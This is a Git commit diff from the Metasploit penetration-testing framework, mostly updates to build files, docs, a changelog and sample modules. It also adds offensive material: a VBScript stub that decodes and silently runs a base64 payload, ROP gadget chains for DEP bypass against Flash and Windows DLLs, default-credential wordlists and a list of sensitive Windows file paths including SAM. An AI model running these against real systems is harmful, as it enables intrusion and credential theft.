commit
872a24b106
|
@ -1,10 +1,23 @@
|
|||
# Rubymine project directory
|
||||
.idea
|
||||
# RVM control file
|
||||
.rvmrc
|
||||
# YARD cache directory
|
||||
.yardoc
|
||||
# Mac OS X files
|
||||
.DS_Store
|
||||
# simplecov coverage data
|
||||
coverage
|
||||
data/meterpreter/ext_server_pivot.dll
|
||||
data/meterpreter/ext_server_pivot.x64.dll
|
||||
doc
|
||||
external/source/meterpreter/java/bin
|
||||
external/source/meterpreter/java/build
|
||||
external/source/meterpreter/java/extensions
|
||||
external/source/javapayload/bin
|
||||
external/source/javapayload/build
|
||||
# Packaging directory
|
||||
pkg
|
||||
tags
|
||||
*.swp
|
||||
*.orig
|
||||
|
|
|
@ -0,0 +1,4 @@
|
|||
language: ruby
|
||||
rvm:
|
||||
# - '1.8.7'
|
||||
- '1.9.3'
|
34
Gemfile
34
Gemfile
|
@ -1,6 +1,30 @@
|
|||
source 'http://rubygems.org'
|
||||
gem 'rails', '3.2.2'
|
||||
gem 'metasploit_data_models', '0.0.2', :git => "git://github.com/rapid7/metasploit_data_models.git"
|
||||
gem 'pg', '>=0.13'
|
||||
gem 'msgpack'
|
||||
gem 'nokogiri'
|
||||
|
||||
# Need 3+ for ActiveSupport::Concern
|
||||
gem 'activesupport', '>= 3.0.0'
|
||||
# Needed for Msf::DbManager
|
||||
gem 'activerecord'
|
||||
# Database models shared between framework and Pro.
|
||||
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0'
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
gem 'pg', '>= 0.11'
|
||||
|
||||
group :development do
|
||||
# Markdown formatting for yard
|
||||
gem 'redcarpet'
|
||||
# generating documentation
|
||||
gem 'yard'
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
# running documentation generation tasks and rspec tasks
|
||||
gem 'rake'
|
||||
end
|
||||
|
||||
group :test do
|
||||
# testing framework
|
||||
gem 'rspec'
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
gem 'simplecov', '0.5.4', :require => false
|
||||
end
|
||||
|
|
|
@ -0,0 +1,68 @@
|
|||
GIT
|
||||
remote: git://github.com/rapid7/metasploit_data_models.git
|
||||
revision: 73f26789500f278dd6fd555e839d09a3b81a05f4
|
||||
tag: 0.3.0
|
||||
specs:
|
||||
metasploit_data_models (0.3.0)
|
||||
activerecord
|
||||
activesupport
|
||||
pg
|
||||
pry
|
||||
|
||||
GEM
|
||||
remote: http://rubygems.org/
|
||||
specs:
|
||||
activemodel (3.2.8)
|
||||
activesupport (= 3.2.8)
|
||||
builder (~> 3.0.0)
|
||||
activerecord (3.2.8)
|
||||
activemodel (= 3.2.8)
|
||||
activesupport (= 3.2.8)
|
||||
arel (~> 3.0.2)
|
||||
tzinfo (~> 0.3.29)
|
||||
activesupport (3.2.8)
|
||||
i18n (~> 0.6)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.2)
|
||||
builder (3.0.3)
|
||||
coderay (1.0.8)
|
||||
diff-lcs (1.1.3)
|
||||
i18n (0.6.1)
|
||||
method_source (0.8.1)
|
||||
multi_json (1.3.6)
|
||||
pg (0.14.1)
|
||||
pry (0.9.10)
|
||||
coderay (~> 1.0.5)
|
||||
method_source (~> 0.8)
|
||||
slop (~> 3.3.1)
|
||||
rake (0.9.2.2)
|
||||
redcarpet (2.1.1)
|
||||
rspec (2.11.0)
|
||||
rspec-core (~> 2.11.0)
|
||||
rspec-expectations (~> 2.11.0)
|
||||
rspec-mocks (~> 2.11.0)
|
||||
rspec-core (2.11.1)
|
||||
rspec-expectations (2.11.3)
|
||||
diff-lcs (~> 1.1.3)
|
||||
rspec-mocks (2.11.3)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
simplecov-html (0.5.3)
|
||||
slop (3.3.3)
|
||||
tzinfo (0.3.33)
|
||||
yard (0.8.2.1)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
activerecord
|
||||
activesupport (>= 3.0.0)
|
||||
metasploit_data_models!
|
||||
pg (>= 0.11)
|
||||
rake
|
||||
redcarpet
|
||||
rspec
|
||||
simplecov (= 0.5.4)
|
||||
yard
|
10
HACKING
10
HACKING
|
@ -34,7 +34,7 @@ puts.
|
|||
2. Don't read from standard input, doing so will make your code
|
||||
lock up the entire module when called from other interfaces. If you
|
||||
need user input, you can either register an option or expose an
|
||||
interactve session type specific for the type of exploit.
|
||||
interactive session type specific for the type of exploit.
|
||||
|
||||
3. Don't use "sleep". It has been known to cause issues with
|
||||
multi-threaded programs on various platforms. Instead, we use
|
||||
|
@ -48,7 +48,7 @@ the creation of ruby sockets and won't know how to clean them up in
|
|||
case your module raises an exception without cleaning up after itself.
|
||||
Secondly, non-Rex sockets do not know about routes and therefore can't
|
||||
be used through a meterpreter tunnel. Lastly, regular sockets miss
|
||||
out on msf's proxy and ssl features. Msf includes many protocols
|
||||
out on msf's proxy and SSL features. Msf includes many protocols
|
||||
already implemented with Rex and if the protocol you need is missing,
|
||||
porting another library to use them is straight-forward. See our
|
||||
Net::SSH modifications in lib/net/ssh/ for an example.
|
||||
|
@ -119,6 +119,12 @@ pull request, and is the preferred method for bringing new modules
|
|||
and framework enhancements to the attention of the core Metasploit
|
||||
development team. Note that this process requires a GitHub account.
|
||||
|
||||
For Git commits, please adhere to 50/72 formatting: your commits should
|
||||
start with a line 50 characters or less, followed by a blank line,
|
||||
followed by one or more lines of explanatory text wrapped at at 72
|
||||
characters Pull requests with commits not formatted this way will
|
||||
be rejected without review.
|
||||
|
||||
For modules, note that Author field is not automatic, and should be
|
||||
filled in in the format of 'Your Name <user[at]domain.tld>' so future
|
||||
developers can contact you with any questions.
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
|
||||
Metasploit
|
||||
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
|
|
|
@ -0,0 +1,47 @@
|
|||
require 'bundler/setup'
|
||||
|
||||
require 'rspec/core/rake_task'
|
||||
require 'yard'
|
||||
|
||||
RSpec::Core::RakeTask.new(:spec)
|
||||
|
||||
task :default => :spec
|
||||
|
||||
namespace :yard do
|
||||
yard_files = [
|
||||
# Ruby source files first
|
||||
'lib/msf/**/*.rb',
|
||||
'lib/rex/**/*.rb',
|
||||
# Anything after '-' is a normal documentation, not source
|
||||
'-',
|
||||
'COPYING',
|
||||
'HACKING',
|
||||
'THIRD-PARTY.md'
|
||||
]
|
||||
yard_options = [
|
||||
# include documentation for protected methods for developers extending the code.
|
||||
'--protected'
|
||||
]
|
||||
|
||||
YARD::Rake::YardocTask.new(:doc) do |t|
|
||||
t.files = yard_files
|
||||
# --no-stats here as 'stats' task called after will print fuller stats
|
||||
t.options = yard_options + ['--no-stats']
|
||||
|
||||
t.after = Proc.new {
|
||||
Rake::Task['yard:stats'].execute
|
||||
}
|
||||
end
|
||||
|
||||
desc "Shows stats for YARD Documentation including listing undocumented modules, classes, constants, and methods"
|
||||
task :stats => :environment do
|
||||
stats = YARD::CLI::Stats.new
|
||||
yard_arguments = yard_options + ['--compact', '--list-undoc'] + yard_files
|
||||
stats.run(*yard_arguments)
|
||||
end
|
||||
end
|
||||
|
||||
# @todo Figure out how to just clone description from yard:doc
|
||||
desc "Generate YARD documentation"
|
||||
# allow calling namespace to as a task that goes to default task for namespace
|
||||
task :yard => ['yard:doc']
|
Binary file not shown.
Binary file not shown.
|
@ -1,6 +1,89 @@
|
|||
Armitage Changelog
|
||||
==================
|
||||
|
||||
16 Oct 12 (tested against msf 15972)
|
||||
---------
|
||||
- Added port 5985 to MSF Scans list.
|
||||
- Meterpreter -> Access -> Persistence sets ACTION option for you
|
||||
- Changed how LHOST and LPORT are set globally to prevent Ruby
|
||||
character encoding conversion error in the framework.
|
||||
- Pass Session, Log Keystrokes, and Persist now query module info
|
||||
in a separate thread (avoids a deadlock opportunity)
|
||||
- Armitage now shows folder/URL in a popup dialog for environments
|
||||
where JDesktop API to open them directly is not supported
|
||||
- Check all credentials option now filters the list to avoid trying
|
||||
a pair of credentials twice.
|
||||
- Armitage's exploit payload selection now selects cmd/unix/interact
|
||||
when appropriate.
|
||||
- Explore -> Processes now works with Java Meterpreter again.
|
||||
- MSF Scans feature now runs http_version against port 443
|
||||
|
||||
5 Sept 12 (tested against msf r15804)
|
||||
---------
|
||||
- Setup dialog now trims host, port, user, and pass fields.
|
||||
- Armitage now complains when it can't write to your preferences
|
||||
file (versus just hanging without a real error message)
|
||||
- View -> Jobs now queries jobs in a thread outside of UI thread
|
||||
- Tab completion now uses a separate thread to call into the RPC
|
||||
server. This prevents a deadlock if server is not responding.
|
||||
- Login -> psexec now shows when 445 is open on a Windows machine.
|
||||
The old criteria was too restrictive.
|
||||
- Added a helper to set Wordlist option
|
||||
- Armitage now sets a random LPORT for non-exploit modules with an
|
||||
LPORT option (e.g., post modules that do priv escalation)
|
||||
- Armitage now shows an error if it can't open a Win command shell
|
||||
- Steal Token dialog now uses incognito module to get token data
|
||||
instead of the MSF post module. This is more reliable.
|
||||
- You may now setup the reverse payload for current_user_psexec
|
||||
|
||||
Cortana Updates (for scripters)
|
||||
--------
|
||||
- added an eventlog popup hook
|
||||
|
||||
16 Aug 12 (tested against msf r15753)
|
||||
----------
|
||||
- Dynamic workspaces now removes closed services from its set of
|
||||
hosts matching certain open ports.
|
||||
- Cortana console now reports a clear error message a built-in
|
||||
command is executed without the right number of arguments.
|
||||
- Added host icons for Android and iOS. You may now set these
|
||||
operating systems by going to [host] -> Host -> Operating System
|
||||
- Armitage now shows the client-side exploit dialog for any exploit
|
||||
that does not target an RHOST (for example, windows/smb/smb_relay)
|
||||
- Added support for remote exploits that use RHOSTS over RHOST
|
||||
(this includes the new windows/local/current_user_psexec)
|
||||
- Added a helper for setting the SESSION option
|
||||
|
||||
Cortana Updates (for scripters)
|
||||
--------
|
||||
- s_cmd no longer times out after 60s. It will wait forever for
|
||||
a command to complete now.
|
||||
- added shell_read event which fires when a shell s_cmd comes
|
||||
back with intermediate output.
|
||||
- fixed a potential deadlock with &open_console_tab
|
||||
- scripts now have the ability to redefine the max size of a
|
||||
workspace: db_workspace(%(size => #####));
|
||||
|
||||
2 Aug 12 (tested again msf r15698)
|
||||
--------
|
||||
- Armitage now reports vulnerability module and descriptions
|
||||
properly (again) when exporting data. Had to update to match a
|
||||
change to the db schema.
|
||||
- Pass-the-Hash and Login dialogs now stay open if you press
|
||||
shift while clicking Launch. This convention is pretty universal
|
||||
to Armitage.
|
||||
- Team server now buffers all of its outgoing data. I've also
|
||||
disabled SO_NODELAY. This will greatly improve team server latency
|
||||
on congested networks without impacting responsiveness otherwise.
|
||||
- Added Cortana, a DARPA funded scripting technology, into Armitage.
|
||||
There's a lot of fun to be had here.
|
||||
- Armitage now queues messages to destroy a console rather than
|
||||
spinning up a new thread for each closed console.
|
||||
- Rendering of icons for hosts now happens outside of UI thread.
|
||||
- Increased timeout for meterpreter read command
|
||||
- Armitage now detects a corrupt module cache and attempts to clear
|
||||
it so it can be rebuilt.
|
||||
|
||||
5 Jul 12
|
||||
--------
|
||||
- Login -> psexec now sets a different LPORT for each host it's
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,41 @@
|
|||
echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
|
||||
echo Set file = fs.GetFile("ENCODED") >>decode_stub
|
||||
echo If file.Size Then >>decode_stub
|
||||
echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
|
||||
echo data = fd.ReadAll >>decode_stub
|
||||
echo data = Replace(data, vbCrLf, "") >>decode_stub
|
||||
echo data = base64_decode(data) >>decode_stub
|
||||
echo fd.Close >>decode_stub
|
||||
echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
|
||||
echo ofs.Write data >>decode_stub
|
||||
echo ofs.close >>decode_stub
|
||||
echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
|
||||
echo shell.run "DECODED", 0, false >>decode_stub
|
||||
echo Wscript.sleep(1000 * 60 * 5) >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo Wscript.Echo "The file is empty." >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||
echo If Not w2 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||
echo If Not w3 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||
echo If Not w4 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||
echo Next >>decode_stub
|
||||
echo base64_decode = strOut >>decode_stub
|
||||
echo End Function >>decode_stub
|
||||
echo Function mimedecode(byVal strIn) >>decode_stub
|
||||
echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
|
||||
echo If Len(strIn) = 0 Then >>decode_stub
|
||||
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo End Function >>decode_stub
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,80 @@
|
|||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>11.3.300.257</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x10000000">
|
||||
<gadget offset="0x00243043">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x006e3384">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x0044a4aa">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
|
||||
<gadget offset="0x003d54df">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x005f0b25">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x002ed0f1">jmp esp</gadget>
|
||||
<gadget offset="0x003eb988">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00662e60">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x0058289d">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x00955ebe">Writable location</gadget>
|
||||
<gadget offset="0x00414e84">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x004de801">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0024044c">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x00627674">PUSHAD # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>11.3.300.265</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x10000000">
|
||||
<gadget offset="0x00487414">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x006e338c">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00437d39">MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget>
|
||||
<gadget offset="0x0008f9c6">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x000baf77">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x002d8d5c">jmp esp</gadget>
|
||||
<gadget offset="0x00005604">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x0064a4d7">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x004087db">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x00955197">Writable location</gadget>
|
||||
<gadget offset="0x005be57f">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x003a0002">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x00244a82">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x004cbc7f">PUSHAD # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>11.3.300.268</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x10000000">
|
||||
<gadget offset="0x0012429b">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x006e438c">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00481a7d">MOV EAX,DWORD PTR DS:[ECX]</gadget>
|
||||
<gadget offset="0x006ae8d7">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x000a6b69">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x002b95bb">jmp esp</gadget>
|
||||
<gadget offset="0x0027f328">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00686fe5">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x0017e345">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0092027a">Writable location</gadget>
|
||||
<gadget offset="0x002a394a">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00593802"># RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x002447d1">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x0062857d">PUSHAD # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
|
@ -0,0 +1,27 @@
|
|||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>*</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x7c340000">
|
||||
<gadget offset="0x0000252c">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0000252c">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0002c55a">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00005249">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x000011c0">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x00051897">Writable location</gadget>
|
||||
<gadget offset="0x0000b8d7">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00006c0b">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x00026fa6">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x000015a2">JMP [EAX]</gadget>
|
||||
<gadget offset="0x000362fb">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x0003a151">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00038c81">PUSHAD # ADD AL,0EF # RETN</gadget>
|
||||
<gadget offset="0x00005c30">ptr to 'push esp # ret</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
|
@ -0,0 +1,56 @@
|
|||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>WINDOWS XP SP2</target>
|
||||
<target>WINDOWS XP SP3</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x77c10000">
|
||||
<gadget offset="0x0002ee15">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0002ee15">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0003fa1c">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x0002eeef">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0004d9bb">Writable location</gadget>
|
||||
<gadget offset="0x0001a88c">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00029f92">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0002a184">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x0001aacc">JMP [EAX]</gadget>
|
||||
<gadget offset="0x0002b860">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x00001120">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00002df9">PUSHAD # RETN</gadget>
|
||||
<gadget offset="0x00025459">ptr to 'push esp # ret</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>WINDOWS SERVER 2003 SP1</target>
|
||||
<target>WINDOWS SERVER 2003 SP2</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x77ba0000">
|
||||
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x00001114">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget>
|
||||
<gadget value="junk">Filler</gadget>
|
||||
<gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget>
|
||||
<gadget offset="0x00026320">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x00042265">PUSH ESP # RETN</gadget>
|
||||
<gadget offset="0x000385b7">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x0003e4fc">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x000330fb">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x0004ff56">Writable location</gadget>
|
||||
<gadget offset="0x00038a92">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00037d82">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0003eebf">POP EAX # RETN</gadget>
|
||||
<gadget value="nop">nop</gadget>
|
||||
<gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
|
@ -0,0 +1,3 @@
|
|||
calvin
|
||||
123456
|
||||
password
|
|
@ -0,0 +1,3 @@
|
|||
root
|
||||
user1
|
||||
admin
|
|
@ -0,0 +1,7 @@
|
|||
boot.ini
|
||||
config.sys
|
||||
autoexec.bat
|
||||
Windows\system32\drivers\etc\hosts
|
||||
winnt\system32\drivers\etc\hosts
|
||||
Windows\system32\config\SAM
|
||||
winnt\system32\config\SAM
|
|
@ -999,4 +999,5 @@ sexylady
|
|||
autumn
|
||||
mendoza
|
||||
sq!us3r
|
||||
adminpasswd
|
||||
adminpasswd
|
||||
raspberry
|
||||
|
|
|
@ -63,6 +63,7 @@ nuucp
|
|||
nxpgsql
|
||||
operator
|
||||
oracle
|
||||
pi
|
||||
popr
|
||||
postgres
|
||||
postmaster
|
||||
|
|
|
@ -1,25 +1,19 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This sample auxiliary module simply displays the selected action and
|
||||
# registers a custom command that will show up when the module is used.
|
||||
#
|
||||
###
|
||||
class Auxiliary::Sample < Msf::Auxiliary
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
|
@ -50,5 +44,3 @@ class Auxiliary::Sample < Msf::Auxiliary
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1,24 +1,17 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
module Msf
|
||||
module Encoders
|
||||
|
||||
###
|
||||
#
|
||||
# This sample illustrates a very basic encoder that simply returns the block
|
||||
# that it's passed.
|
||||
#
|
||||
###
|
||||
class Sample < Msf::Encoder
|
||||
class Metasploit4 < Msf::Encoder
|
||||
|
||||
def initialize
|
||||
super(
|
||||
|
@ -40,6 +33,3 @@ class Sample < Msf::Encoder
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,25 +1,19 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This exploit sample shows how an exploit module could be written to exploit
|
||||
# a bug in an arbitrary TCP server.
|
||||
#
|
||||
###
|
||||
class Exploits::Sample < Msf::Exploit::Remote
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
|
||||
#
|
||||
# This exploit affects TCP servers, so we use the TCP client mixin.
|
||||
|
@ -88,4 +82,3 @@ class Exploits::Sample < Msf::Exploit::Remote
|
|||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1,26 +1,19 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
module Nops
|
||||
|
||||
###
|
||||
#
|
||||
# This class implements a very basic NOP sled generator that just returns a
|
||||
# string of 0x90's.
|
||||
#
|
||||
###
|
||||
class Sample < Msf::Nop
|
||||
class Metasploit4 < Msf::Nop
|
||||
|
||||
def initialize
|
||||
super(
|
||||
|
@ -39,6 +32,3 @@ class Sample < Msf::Nop
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,26 +1,18 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
module Payloads
|
||||
module Singles
|
||||
|
||||
###
|
||||
#
|
||||
# This sample payload is designed to trigger a debugger exception via int3.
|
||||
#
|
||||
###
|
||||
module Sample
|
||||
module Metasploit4
|
||||
|
||||
include Msf::Payload::Single
|
||||
|
||||
|
@ -40,7 +32,3 @@ module Sample
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,30 +0,0 @@
|
|||
Kiss FFT library
|
||||
==================
|
||||
|
||||
Copyright (c) 2003-2006 Mark Borgerding
|
||||
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
* Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
|
||||
